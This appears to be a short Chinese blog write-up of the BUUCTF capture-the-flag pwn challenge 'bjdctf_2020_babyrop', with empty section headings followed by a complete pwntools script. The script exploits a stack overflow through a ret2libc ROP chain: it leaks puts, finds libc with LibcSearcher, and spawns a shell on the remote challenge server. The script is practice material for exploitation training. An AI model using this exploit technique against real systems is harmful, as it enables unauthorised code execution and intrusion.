博客园 首页 私信博主 回到顶部 联系博主
(仅pc端)
管理 换背景图

BUUCTF-bjdctf_2020_babyrop(16/100)

一、查保护

二、代码审计


三、过程

栈溢出

四、脚本

from pwn import *
from LibcSearcher import *

#context(os='linux', arch='amd64', log_level='debug')

ru=lambda x:io.recvuntil(x)
rl=lambda :io.recvline()
sla=lambda x,y:io.sendlineafter(x,y)
sl=lambda x:io.sendline(x)
rv=lambda x:io.recv(x)

#io = process('./')
io=remote('node3.buuoj.cn',25801)
elf=ELF('./bjdctf_2020_babyrop')

sl('a'*0x20+'b'*8+p64(0x0400733)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.sym['main']))
io.recv()
puts=u64(rv(6).ljust(8,'\x00'))
libc=LibcSearcher('puts',puts)
base=puts-libc.dump('puts')
system=base+libc.dump('system')
bin_sh=base+libc.dump('str_bin_sh')
sla('y!','a'*0x20+'b'*8+p64(0x0400733)+p64(bin_sh)+p64(system))

io.interactive()
posted @ 2021-01-26 21:13  温一壶白开  阅读(76)  评论(0)    收藏  举报